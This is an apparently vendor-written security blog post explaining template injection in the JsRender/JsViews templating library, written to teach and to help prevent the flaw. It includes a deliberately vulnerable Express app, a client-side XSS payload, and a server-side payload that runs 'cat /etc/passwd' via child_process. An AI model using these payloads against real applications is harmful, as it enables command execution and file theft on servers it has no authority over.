Template Injection: JsRender/JsViews

In this blog post we will explore Template Injection attacks against the JsRender/JsViews library, a successor to jQuery Templates .

The impact of the attacks ranges from Cross-Site Scripting when used in client-side applications to Remote Code Execution when server-side rendering is used.  If you would like to follow along with the examples in this blog, you can download a sample vulnerable application here: Node.JS Examples

To use, ensure you have installed Node.js and run "node vuln_example_clientside_1.js" for the client-side example and "node vuln_example_serverside_1.js" for server side.

 

About JsRender

JsRender is developed and maintained by Microsoft Employee Boris Moore and is used in projects such as Outlook.com and Windows Azure [1].

The following description is taken from projects Github page:

“JsRender is a light-weight but powerful templating engine, highly extensible, and optimized for high-performance rendering, without DOM dependency. It is designed for use in the browser or on Node.js, with or without jQuery.

JsRender and JsViews together provide the next-generation implementation of the official jQuery plugins JQuery Templates, and JQuery Data Link — and supersede those libraries.

 

JsRender Templates

Templating engines such as JsRender allow the developer to create a static template to render a HTML page and embed dynamic data using Template Expressions. Typically, templating engines use a variation of the curly braces closure syntax to embed dynamic data, in JsRender the “evaluate” tag can be used to render the result of a JavaScript expression.

 

Template Description
{{: …}} Evaluate and render output
{{> …}} Evaluate and render HTML encoded output
{{!– … –}} Comment
{{* …}} and {{*: …}} Allow code (disabled by default)

 

For the full list see: https://www.jsviews.com/#jsrtags

 

For example, a profile page that renders dynamic user data such as the users’ give name may use the following template syntax:

 

Welcome, {{:given_name}}

 

When the template is rendered, the given_name property of the passed in JavaScript object is rendered in place of the {{:given_name}} template expression.

A more complete working example is shown below, note that when used within the browser, JsRender templates are enclosed with a script tag with the format:

<script id="profile_template" type="text/x-jsrender">Template Code Here</script>

Example 1: Profile Page

In the following example a JsRender script block is defined with the id profile_template and includes a template expression {{:given_name}}. This expression is replaced with the given_name property of the data object passed via the template.render() call:

 

<html>
<body>
<script src="https://code.jquery.com/jquery-3.5.1.min.js"></script>
<script src="https://www.jsviews.com/download/jsrender.min.js"></script>

<div id="profile">
</div>
<script id="profile_template" type="text/x-jsrender">
    Welcome, {{:given_name}}
</script>
<script>
    var data = {"given_name": "Gary"};
    var template = $.templates("#profile_template");
    var htmlOutput = template.render(data);
    $("#profile").html(htmlOutput);
</script>
</body>
</html>

 

Output in the browser:

 

Client-Side Template Injection

A vulnerability occurs when the attacker is able to control part or all of the template itself. For example, consider that a custom greeting is passed via the query string to replace “Welcome” with another string.

 

 

 

Since we can control data embedded within the template, it is possible to pass in our own expressions and have the JsRender engine evaluate them. For example, passing the following query string value will cause JsRender to evaluate the expression 7*7 and return the result:

 

/?greeting=I can do math, Seven Sevens are {{:7*7}}

 

Exploiting Client-Side Template Injection

JsRender attempts to limit the scope of evaluated expressions to prevent arbitrary JavaScript code unless specifically enabled by the developer.  This is described in the documentation as follows:

 

 

See: https://www.jsviews.com/#allowcodetag

However, due to the reflective nature of JavaScript, it is possible to break out of this restricted context. One method to achieve this is to access the special “constructor” property of a built-in JavaScript function, this gives us access to the function used to create the function (or object) we are referencing it from. For example, several JavaScript objects including strings have a default function named toString() which we can reference within the injected expression, e.g. {{:"test".toString()}}

We can confirm this by accessing the URL http://localhost:2000/?greeting={{:"test".toString}}  which gives us the following output:

 

 

From here we can access the function constructor which allows us to build a new function by calling it. In this example we create an anonymous function designed to display a JavaScript alert box.

http://localhost:2000/?greeting={{:%22test%22.toString.constructor.call({},"alert('xss')")}}

 

 

Finally, we can call this newly created function by adding parentheses to complete the attack:

http://localhost:2000/?greeting={{:%22test%22.toString.constructor.call({},%22alert(%27xss%27)%22)()}}

 

 

Exploiting Server-Side JsRender Template Injection

It is also possible to use JsRender server side within node.js applications [3]. The example below uses the Node module ‘Express’ to serve a simple web application to demonstrate the vulnerability. The code is very similar to our previous example except the template is rendered server-side before being returned as HTML.

 

const jsrender = require('jsrender');
const express = require('express')
const app = express()
const port = 3000

app.get('/', function(req, res) {
    if(req.query.greeting){
        var greeting = req.query.greeting
    }else{
        var greeting = "Hello"
    }
    // User input included within the template
    var tmpl = jsrender.templates(greeting + ' - {{:name}}<br/>'); 
    var html = tmpl.render({name: "AppCheck"}); 
    res.send(html);
});
app.listen(port, () => {
  console.log(`Vulnerable app listening at http://localhost:${port}`)
})

In this scenario, our attack is much more powerful since the payload is executing within the Node.js environment on the server rather than a client-side web browser.  From this context, the attacker is able to exploit server-side functionality such as executing system commands and reading from and writing to the file system to gain full control of the target application & system.

The attack methodology remains the same, but since we are within the Node.js environment we can gain remote code execution by executing the following payload (executing cat /etc/passwd in this example).

require('child_process').execSync('cat /etc/passwd')

There is however one move obstacle to overcome, the “require” function is not directly available in our newly created function. However, we are able to use reflection to access the same functionality via global.process.mainModule.constructor._load()

The following URL successfully execute the supplied system command and return the output:

http://localhost:3000/?greeting= {{:"pwnd".toString.constructor.call({},"return global.process.mainModule.constructor._load('child_process').execSync('cat /etc/passwd').toString()")()}}

 

 

 

Is this a vulnerability within JsRender / JsViews?

There’s likely to be some difference of opinion on this point. However, there are a few things to consider:

JavaScript Sandboxing is a Bag of Wasps

The popular AngularJS framework supported template expressions in a similar fashion to JsRender. For several years, Angular expressions were executed within a sandbox with the intention of preventing exploitation as described in this blog. With each iteration of the sandbox came a raft of methods to bypass it, sometimes within hours of each new fix for the previous bypasses. Due to the reflective nature of JavaScript and the wide array of built in methods, it can be difficult to prevent this type of exploitation without crippling good functionality. Furthermore, other similar sandboxes incurred significant performance penalties which often resulted in them being disabled by the developer.

For these reasons and others, the sandbox was removed from AngularJS in version 1.6 which you can read about here: http://blog.angularjs.org/2016/09/angular-16-expression-sandbox-removal.html

It would not be unreasonable for the maintainers of JsRender to reach the same conclusions as the AngularJS developers.

 

Prevention is better than the cure

The code pattern that results in a vulnerability is a common one; unfiltered user supplied data is passed to a dangerous function, in this case the template rendering function of JsRender. The best way to avoid the flaw is to avoid this common pitfall.

If tainted data must be included within the template before rendering, it is critical that it is strictly validated to ensure the attack cannot include a template expression.

 

References

https://en.wikipedia.org/wiki/JsRender/JsViews

https://github.com/BorisMoore/jsrender

https://www.jsviews.com/#jsr-node-quickstart

 

 

Get started with Appcheck

No software to download or install.
Contact us or call us 0113 887 8380

Start your free trial